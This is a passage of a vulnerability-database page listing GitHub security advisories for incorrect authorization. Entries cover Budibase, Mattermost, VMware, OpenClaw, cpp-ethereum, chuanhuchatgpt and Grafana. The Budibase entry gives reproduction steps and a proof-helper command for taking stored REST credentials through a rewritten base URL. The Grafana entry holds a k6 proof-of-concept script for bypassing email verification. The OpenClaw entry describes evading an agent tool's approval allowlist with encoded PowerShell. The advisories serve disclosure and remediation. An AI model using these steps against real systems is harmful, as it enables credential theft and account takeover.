Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5678 vulnerabilities reference this CWE, most recent first.

GHSA-3GP5-Q4JW-3V94

Vulnerability from github – Published: 2026-06-12 18:28 – Updated: 2026-06-12 18:28
VLAI
Summary
Budibase: Basic app users can exfiltrate stored REST datasource auth by rewriting datasource base URL
Details

Summary

Budibase stores external REST datasource credentials server-side and documents that database credentials are applied server-side and are not exposed in the UI. The REST datasource implementation redacts stored Basic/Bearer/OAuth2 auth secrets before returning datasource data to clients. However, the single-datasource GET and PUT routes are guarded by generic TABLE READ, not by Builder/Admin permission or datasource-specific ownership/resource checks.

The built-in Basic app user role maps to the WRITE permission set, which includes table read/write and query write. A Basic user can therefore read an existing REST datasource, receive redacted authConfigs values, submit an update that changes only config.url while keeping the redacted placeholders, and trigger an existing saved relative-path REST query. During update, mergeConfigs() restores the old stored secret when it sees the redaction placeholder. During query execution, Budibase prefixes the attacker-controlled datasource config.url to the relative query path and applies the resolved stored auth headers. The result is server-side disclosure of the builder-configured REST Authorization secret to an attacker-controlled listener.

Source evidence

  • packages/server/src/api/routes/datasource.ts: datasource list/create/delete routes are on builderRoutes, but GET /api/datasources/:datasourceId and PUT /api/datasources/:datasourceId are in authorizedRoutes guarded only by PermissionType.TABLE and PermissionLevel.READ.
  • packages/server/src/api/routes/datasource.ts: the :datasourceId routes do not attach datasource-specific resource authorization.
  • packages/backend-core/src/security/roles.ts: built-in Basic user maps to BuiltinPermissionID.WRITE.
  • packages/backend-core/src/security/permissions.ts: WRITE grants READ/EXECUTE levels and includes QUERY WRITE and TABLE WRITE.
  • packages/server/src/api/controllers/datasource.ts: datasourceController.update reads the stored datasource, merges ctx.request.body into it, writes the result back, and returns a redacted copy.
  • packages/server/src/sdk/workspace/datasources/datasources.ts: removeSecrets() redacts REST Basic/Bearer/OAuth2 secrets to PASSWORD_REPLACEMENT.
  • packages/server/src/sdk/workspace/datasources/datasources.ts: mergeConfigs() restores the old stored auth-secret field when the update body sends the redaction placeholder for the same auth config.
  • packages/server/src/integrations/rest.ts: relative REST query paths are prefixed with datasource config.url.
  • packages/server/src/integrations/rest.ts: REST execution resolves the selected auth config and applies the resulting auth headers to the outbound request.
  • packages/server/src/api/routes/query.ts: saved query execution POST /api/v2/queries/:queryId is guarded by QUERY WRITE, which the Basic role has through the WRITE permission set.

Reproduction outline

No production systems were tested. This is source-backed and has a local static verifier plus a proof helper for an already-running authorized instance.

  1. Deploy a current Budibase instance.
  2. As a builder/admin, create and publish an app.
  3. As the builder/admin, create a REST datasource with:
  4. config.url set to a benign legitimate API base URL.
  5. a stored REST auth config containing a sentinel secret, such as a Bearer token BUDIBASE_REST_TOKEN_SENTINEL.
  6. As the builder/admin, create a saved REST query that uses a relative path and that auth config.
  7. Add a non-builder Basic app user.
  8. As the Basic user, confirm negative controls:
  9. Builder-only datasource list/create/preview routes are denied.
  10. The user is not a builder/admin.
  11. As the Basic user, call GET /api/datasources/{datasourceId}. The response returns the datasource and redacted auth placeholders, not the raw secret.
  12. As the Basic user, call PUT /api/datasources/{datasourceId} with the same redacted datasource body but with config.url changed to an attacker-controlled HTTP listener.
  13. As the Basic user, execute the saved query with POST /api/v2/queries/{queryId}.
  14. Expected vulnerable result: the attacker listener receives the server-side REST request with the preserved stored Authorization material, even though the Basic user never knew the raw secret and should not be able to administer datasource credentials.

Local source verifier:

python3 docker-proofs/s60/verify_budibase_basic_user_datasource_source_path.py

Expected success line:

SOURCE_PATH_VERIFIED budibase_basic_user_datasource_rest_secret_exfil

Observed May 1, 2026:

  • origin/master was 8e6bf89acf1f602f3334592c4c8cd14e79f5362a.
  • Latest release was 3.37.2 from Apr 30, 2026.
  • The source verifier passed and confirmed the route, role, redaction, merge, URL-prefixing, auth-header, and saved-query execution conditions.

Proof-assist helper:

python3 docker-proofs/s60/proof_budibase_basic_user_datasource_update_rest_secret_exfil.py \
  --base-url http://127.0.0.1:10000 \
  --app-id <published-app-id> \
  --datasource-id <rest-datasource-id> \
  --query-id <saved-relative-rest-query-id> \
  --cookie '<basic-user-session-cookie>' \
  --expected-secret BUDIBASE_REST_TOKEN_SENTINEL

The helper does not start, stop, or delete containers/resources. It targets an authorized already-running instance, rewrites only config.url, captures the outbound Authorization material, and restores the original datasource by default.

Impact

This breaks the intended application-user versus builder/admin boundary for external REST datasource credentials. A Basic app user should be able to use published app functionality, but should not be able to administer datasource connection settings or extract builder-configured REST auth secrets. In a realistic internal-tool deployment, REST datasource auth configs often contain bearer tokens, API keys, Basic credentials, OAuth client secrets, service account tokens, or integration credentials for ticketing, CRM, ERP, security, and operational systems.

An attacker with only Basic app-user access to an app that uses an authenticated REST datasource can redirect future query traffic to an attacker-controlled endpoint and collect the preserved server-side Authorization header. This is distinct from public REST datasource SSRF issues because the core impact is stored credential disclosure across the role boundary, and it works with an external attacker-controlled URL rather than depending on internal-network reachability.

Remediation ideas

  • Move GET/PUT /api/datasources/:datasourceId behind Builder/Admin datasource permissions, or add datasource-specific resource authorization.
  • Do not allow non-builder app users to update datasource config, authConfigs, base URL, default headers, or plugin connection settings.
  • Split non-sensitive datasource metadata reads from credential-bearing/admin datasource reads.
  • Treat redaction placeholders as valid only in trusted builder/admin update flows.
  • Consider rotating REST datasource auth secrets for affected deployments after patching.

Duplicate/nearby public issue notes

Public triage found known Budibase REST datasource SSRF and protected-endpoint auth-bypass CVEs, but no obvious public duplicate for this specific Basic app-user PUT /api/datasources/:id role-boundary issue combined with preserved REST authConfigs secret exfiltration through a changed datasource base URL.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.39.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T18:28:40Z",
    "nvd_published_at": "2026-05-27T18:16:27Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nBudibase stores external REST datasource credentials server-side and documents that database credentials are applied server-side and are not exposed in the UI. The REST datasource implementation redacts stored Basic/Bearer/OAuth2 auth secrets before returning datasource data to clients. However, the single-datasource `GET` and `PUT` routes are guarded by generic `TABLE READ`, not by Builder/Admin permission or datasource-specific ownership/resource checks.\n\nThe built-in Basic app user role maps to the `WRITE` permission set, which includes table read/write and query write. A Basic user can therefore read an existing REST datasource, receive redacted `authConfigs` values, submit an update that changes only `config.url` while keeping the redacted placeholders, and trigger an existing saved relative-path REST query. During update, `mergeConfigs()` restores the old stored secret when it sees the redaction placeholder. During query execution, Budibase prefixes the attacker-controlled datasource `config.url` to the relative query path and applies the resolved stored auth headers. The result is server-side disclosure of the builder-configured REST Authorization secret to an attacker-controlled listener.\n\n### Source evidence\n- `packages/server/src/api/routes/datasource.ts`: datasource list/create/delete routes are on `builderRoutes`, but `GET /api/datasources/:datasourceId` and `PUT /api/datasources/:datasourceId` are in `authorizedRoutes` guarded only by `PermissionType.TABLE` and `PermissionLevel.READ`.\n- `packages/server/src/api/routes/datasource.ts`: the `:datasourceId` routes do not attach datasource-specific resource authorization.\n- `packages/backend-core/src/security/roles.ts`: built-in Basic user maps to `BuiltinPermissionID.WRITE`.\n- `packages/backend-core/src/security/permissions.ts`: `WRITE` grants `READ`/`EXECUTE` levels and includes `QUERY WRITE` and `TABLE WRITE`.\n- `packages/server/src/api/controllers/datasource.ts`: `datasourceController.update` reads the stored datasource, merges `ctx.request.body` into it, writes the result back, and returns a redacted copy.\n- `packages/server/src/sdk/workspace/datasources/datasources.ts`: `removeSecrets()` redacts REST Basic/Bearer/OAuth2 secrets to `PASSWORD_REPLACEMENT`.\n- `packages/server/src/sdk/workspace/datasources/datasources.ts`: `mergeConfigs()` restores the old stored auth-secret field when the update body sends the redaction placeholder for the same auth config.\n- `packages/server/src/integrations/rest.ts`: relative REST query paths are prefixed with datasource `config.url`.\n- `packages/server/src/integrations/rest.ts`: REST execution resolves the selected auth config and applies the resulting auth headers to the outbound request.\n- `packages/server/src/api/routes/query.ts`: saved query execution `POST /api/v2/queries/:queryId` is guarded by `QUERY WRITE`, which the Basic role has through the `WRITE` permission set.\n\n### Reproduction outline\nNo production systems were tested. This is source-backed and has a local static verifier plus a proof helper for an already-running authorized instance.\n\n1. Deploy a current Budibase instance.\n2. As a builder/admin, create and publish an app.\n3. As the builder/admin, create a REST datasource with:\n   - `config.url` set to a benign legitimate API base URL.\n   - a stored REST auth config containing a sentinel secret, such as a Bearer token `BUDIBASE_REST_TOKEN_SENTINEL`.\n4. As the builder/admin, create a saved REST query that uses a relative path and that auth config.\n5. Add a non-builder Basic app user.\n6. As the Basic user, confirm negative controls:\n   - Builder-only datasource list/create/preview routes are denied.\n   - The user is not a builder/admin.\n7. As the Basic user, call `GET /api/datasources/{datasourceId}`. The response returns the datasource and redacted auth placeholders, not the raw secret.\n8. As the Basic user, call `PUT /api/datasources/{datasourceId}` with the same redacted datasource body but with `config.url` changed to an attacker-controlled HTTP listener.\n9. As the Basic user, execute the saved query with `POST /api/v2/queries/{queryId}`.\n10. Expected vulnerable result: the attacker listener receives the server-side REST request with the preserved stored Authorization material, even though the Basic user never knew the raw secret and should not be able to administer datasource credentials.\n\nLocal source verifier:\n\n```bash\npython3 docker-proofs/s60/verify_budibase_basic_user_datasource_source_path.py\n```\n\nExpected success line:\n\n```text\nSOURCE_PATH_VERIFIED budibase_basic_user_datasource_rest_secret_exfil\n```\n\nObserved May 1, 2026:\n\n- `origin/master` was `8e6bf89acf1f602f3334592c4c8cd14e79f5362a`.\n- Latest release was `3.37.2` from Apr 30, 2026.\n- The source verifier passed and confirmed the route, role, redaction, merge, URL-prefixing, auth-header, and saved-query execution conditions.\n\nProof-assist helper:\n\n```bash\npython3 docker-proofs/s60/proof_budibase_basic_user_datasource_update_rest_secret_exfil.py \\\n  --base-url http://127.0.0.1:10000 \\\n  --app-id \u003cpublished-app-id\u003e \\\n  --datasource-id \u003crest-datasource-id\u003e \\\n  --query-id \u003csaved-relative-rest-query-id\u003e \\\n  --cookie \u0027\u003cbasic-user-session-cookie\u003e\u0027 \\\n  --expected-secret BUDIBASE_REST_TOKEN_SENTINEL\n```\n\nThe helper does not start, stop, or delete containers/resources. It targets an authorized already-running instance, rewrites only `config.url`, captures the outbound Authorization material, and restores the original datasource by default.\n\n### Impact\nThis breaks the intended application-user versus builder/admin boundary for external REST datasource credentials. A Basic app user should be able to use published app functionality, but should not be able to administer datasource connection settings or extract builder-configured REST auth secrets. In a realistic internal-tool deployment, REST datasource auth configs often contain bearer tokens, API keys, Basic credentials, OAuth client secrets, service account tokens, or integration credentials for ticketing, CRM, ERP, security, and operational systems.\n\nAn attacker with only Basic app-user access to an app that uses an authenticated REST datasource can redirect future query traffic to an attacker-controlled endpoint and collect the preserved server-side Authorization header. This is distinct from public REST datasource SSRF issues because the core impact is stored credential disclosure across the role boundary, and it works with an external attacker-controlled URL rather than depending on internal-network reachability.\n\n### Remediation ideas\n- Move `GET`/`PUT /api/datasources/:datasourceId` behind Builder/Admin datasource permissions, or add datasource-specific resource authorization.\n- Do not allow non-builder app users to update datasource `config`, `authConfigs`, base URL, default headers, or plugin connection settings.\n- Split non-sensitive datasource metadata reads from credential-bearing/admin datasource reads.\n- Treat redaction placeholders as valid only in trusted builder/admin update flows.\n- Consider rotating REST datasource auth secrets for affected deployments after patching.\n\n### Duplicate/nearby public issue notes\nPublic triage found known Budibase REST datasource SSRF and protected-endpoint auth-bypass CVEs, but no obvious public duplicate for this specific Basic app-user `PUT /api/datasources/:id` role-boundary issue combined with preserved REST `authConfigs` secret exfiltration through a changed datasource base URL.",
  "id": "GHSA-3gp5-q4jw-3v94",
  "modified": "2026-06-12T18:28:40Z",
  "published": "2026-06-12T18:28:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-3gp5-q4jw-3v94"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48152"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: Basic app users can exfiltrate stored REST datasource auth by rewriting datasource base URL"
}

GHSA-3GPX-P63P-PR5R

Vulnerability from github – Published: 2025-03-21 09:30 – Updated: 2025-03-21 21:25
VLAI
Summary
Mattermost Fails to Enforce Certain Search APIs
Details

Mattermost versions 10.4.x <= 10.4.2, 10.3.x <= 10.3.3, 9.11.x <= 9.11.8 fail to enforce MFA on certain search APIs, which allows authenticated attackers to bypass MFA protections via user search, channel search, or team search queries.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.4.0"
            },
            {
              "fixed": "10.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.3.0"
            },
            {
              "fixed": "10.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.11.0"
            },
            {
              "fixed": "9.11.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.5.0"
            },
            {
              "fixed": "10.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.5.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30179"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-21T21:25:30Z",
    "nvd_published_at": "2025-03-21T09:15:13Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost versions 10.4.x \u003c= 10.4.2, 10.3.x \u003c= 10.3.3, 9.11.x \u003c= 9.11.8 fail to enforce MFA on certain search APIs, which allows authenticated attackers to bypass MFA protections via user search, channel search, or team search queries.",
  "id": "GHSA-3gpx-p63p-pr5r",
  "modified": "2025-03-21T21:25:30Z",
  "published": "2025-03-21T09:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30179"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost Fails to Enforce Certain Search APIs"
}

GHSA-3GRG-4GWX-FP3C

Vulnerability from github – Published: 2023-05-12 21:30 – Updated: 2024-04-04 04:04
VLAI
Details

VMware Aria Operations contains a privilege escalation vulnerability. A malicious actor with administrative access to the local system can escalate privileges to 'root'.

Severity
6.7 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-20880"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-12T21:15:09Z",
    "severity": "MODERATE"
  },
  "details": "VMware Aria Operations contains a privilege escalation vulnerability. A malicious actor with administrative access to the local system can escalate privileges to \u0027root\u0027.",
  "id": "GHSA-3grg-4gwx-fp3c",
  "modified": "2024-04-04T04:04:41Z",
  "published": "2023-05-12T21:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20880"
    },
    {
      "type": "WEB",
      "url": "https://www.vmware.com/security/advisories/VMSA-2023-0009.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3H2Q-J2V4-6W5R

Vulnerability from github – Published: 2026-03-09 19:53 – Updated: 2026-03-09 19:53
VLAI
Summary
OpenClaw's system.run allowlist approval parsing missed PowerShell encoded-command wrappers
Details

OpenClaw's system.run shell-wrapper detection did not recognize PowerShell -EncodedCommand forms as inline-command wrappers.

In allowlist mode, a caller with access to system.run could invoke pwsh or powershell using -EncodedCommand, -enc, or -e, and the request would fall back to plain argv analysis instead of the normal shell-wrapper approval path. This could allow a PowerShell inline payload to execute without the approval step that equivalent -Command invocations would require.

Latest published npm version: 2026.3.2

Fixed on main on March 7, 2026 in 1d1757b16f48f1a93cd16ab0ad7e2c3c63ce727d by recognizing PowerShell encoded-command aliases during shell-wrapper parsing, so allowlist mode continues to require approval for those payloads. Normal approved PowerShell wrapper flows continue to work.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected versions: <= 2026.3.2
  • Patched version: >= 2026.3.7

Fix Commit(s)

  • 1d1757b16f48f1a93cd16ab0ad7e2c3c63ce727d

Release Process Note

npm 2026.3.7 was published on March 8, 2026. This advisory is fixed in the released package.

Thanks @tdjackey for reporting.

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-09T19:53:58Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "OpenClaw\u0027s `system.run` shell-wrapper detection did not recognize PowerShell `-EncodedCommand` forms as inline-command wrappers.\n\nIn `allowlist` mode, a caller with access to `system.run` could invoke `pwsh` or `powershell` using `-EncodedCommand`, `-enc`, or `-e`, and the request would fall back to plain argv analysis instead of the normal shell-wrapper approval path. This could allow a PowerShell inline payload to execute without the approval step that equivalent `-Command` invocations would require.\n\nLatest published npm version: `2026.3.2`\n\nFixed on `main` on March 7, 2026 in `1d1757b16f48f1a93cd16ab0ad7e2c3c63ce727d` by recognizing PowerShell encoded-command aliases during shell-wrapper parsing, so allowlist mode continues to require approval for those payloads. Normal approved PowerShell wrapper flows continue to work.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.3.2`\n- Patched version: `\u003e= 2026.3.7`\n\n## Fix Commit(s)\n\n- `1d1757b16f48f1a93cd16ab0ad7e2c3c63ce727d`\n\n## Release Process Note\n\nnpm `2026.3.7` was published on March 8, 2026. This advisory is fixed in the released package.\n\nThanks @tdjackey for reporting.",
  "id": "GHSA-3h2q-j2v4-6w5r",
  "modified": "2026-03-09T19:53:58Z",
  "published": "2026-03-09T19:53:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-3h2q-j2v4-6w5r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/1d1757b16f48f1a93cd16ab0ad7e2c3c63ce727d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw\u0027s system.run allowlist approval parsing missed PowerShell encoded-command wrappers"
}

GHSA-3H5J-FWX4-2458

Vulnerability from github – Published: 2022-05-13 01:01 – Updated: 2022-05-13 01:01
VLAI
Details

An exploitable improper authorization vulnerability exists in admin_addPeer API of cpp-ethereum's JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.

Severity
8.1 (High)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-12112"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-01-19T22:29:00Z",
    "severity": "HIGH"
  },
  "details": "An exploitable improper authorization vulnerability exists in admin_addPeer API of cpp-ethereum\u0027s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.",
  "id": "GHSA-3h5j-fwx4-2458",
  "modified": "2022-05-13T01:01:38Z",
  "published": "2022-05-13T01:01:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12112"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0464"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/102475"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3H92-XGH6-5M97

Vulnerability from github – Published: 2024-06-06 21:30 – Updated: 2025-10-15 15:30
VLAI
Details

In gaizhenbiao/chuanhuchatgpt, specifically the version tagged as 20240121, there exists a vulnerability due to improper access control mechanisms. This flaw allows an authenticated attacker to bypass intended access restrictions and read the history files of other users, potentially leading to unauthorized access to sensitive information. The vulnerability is present in the application's handling of access control for the history path, where no adequate mechanism is in place to prevent an authenticated user from accessing another user's chat history files. This issue poses a significant risk as it could allow attackers to obtain sensitive information from the chat history of other users.

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-3404"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-06T19:16:01Z",
    "severity": "MODERATE"
  },
  "details": "In gaizhenbiao/chuanhuchatgpt, specifically the version tagged as 20240121, there exists a vulnerability due to improper access control mechanisms. This flaw allows an authenticated attacker to bypass intended access restrictions and read the `history` files of other users, potentially leading to unauthorized access to sensitive information. The vulnerability is present in the application\u0027s handling of access control for the `history` path, where no adequate mechanism is in place to prevent an authenticated user from accessing another user\u0027s chat history files. This issue poses a significant risk as it could allow attackers to obtain sensitive information from the chat history of other users.",
  "id": "GHSA-3h92-xgh6-5m97",
  "modified": "2025-10-15T15:30:19Z",
  "published": "2024-06-06T21:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3404"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gaizhenbiao/chuanhuchatgpt/commit/ccc7479ace5c9e1a1d9f4daf2e794ffd3865fc2b"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/ed32fc32-cb8f-4fbd-8209-cc835d279699"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3HV4-R2FM-H27F

Vulnerability from github – Published: 2024-02-13 22:25 – Updated: 2025-02-18 22:29
VLAI
Summary
Email Validation Bypass And Preventing Sign Up From Email's Owner
Details

Summary

Email validation can easily be bypassed because verify_email_enabled option enable email validation at sign up only. A user changing it's email after signing up (and verifying it) can change it without verification in /profile. This can be used to prevent legitimate owner of the email address from signing up.

Another way to prevent email's owner from signing up is by setting Username as an email: When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.

Here user a prevents owner of bar@example.com to signup.

Details

I don't know exact location but this is related to PUT /api/user handler.

PoC

Bypass email validation: * Start a new grafana instance using latest version * Sign up with email foo@example. * Login to that account. * Go to profile and change email to bar@example.com * That's it, your using an email you don't own.

Prevent email's owner from signing up: * Start a new grafana instance using latest version * Sign up with email foo@example. * Login to that account. * Go to profile and change username (not email) to bar@example.com * Signout. * Try to sign up with email b@example.com * Warning popup "User with same email address already exists"

K6 script (with verify_email_enabled set to false):

import { check, group } from "k6"
import http from "k6/http"

export const options = {
  scenarios: {
    perVuIter: {
      executor: 'per-vu-iterations',
      vus: 1,
      iterations: 1
    }
  }
}

const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000"

export default function () {
  group("create user_a with email foo@example.com", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "foo@example.com",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  group("change user_a login to bar@example.com", () => {
    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({
      "email": "foo@example.com",
      "login": "bar@example.com", // user_b email.
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  http.cookieJar().clear(GRAFANA_URL)

  group("create user_b with email bar@example.com", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "bar@example.com",
      "username": "bar@example.com",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200 // fail
    })
  })
}

Impact

Bypass email verification. Prevent legitimate owner from signing up.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.0"
            },
            {
              "fixed": "9.5.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.1.0"
            },
            {
              "fixed": "10.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.2.0"
            },
            {
              "fixed": "10.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.3.0"
            },
            {
              "fixed": "10.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-6152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-13T22:25:10Z",
    "nvd_published_at": "2024-02-13T22:15:45Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nEmail validation can easily be bypassed because `verify_email_enabled` option enable email validation at sign up only.\nA user changing it\u0027s email after signing up (and verifying it) can change it without verification in `/profile`.\nThis can be used to prevent legitimate owner of the email address from signing up.\n\nAnother way to prevent email\u0027s owner from signing up is by setting Username as an email:\nWhen a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.\n\n![](https://user-images.githubusercontent.com/44581623/282073913-c1a8c20b-b6c3-46eb-840c-9e0dae718a2a.png)\n\nHere user a prevents owner of bar@example.com to signup.\n\n### Details\nI don\u0027t know exact location but this is related to PUT /api/user handler.\n\n### PoC\nBypass email validation:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change email to  bar@example.com\n* That\u0027s it, your using an email you don\u0027t own.\n\nPrevent email\u0027s owner from signing up:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change username (not 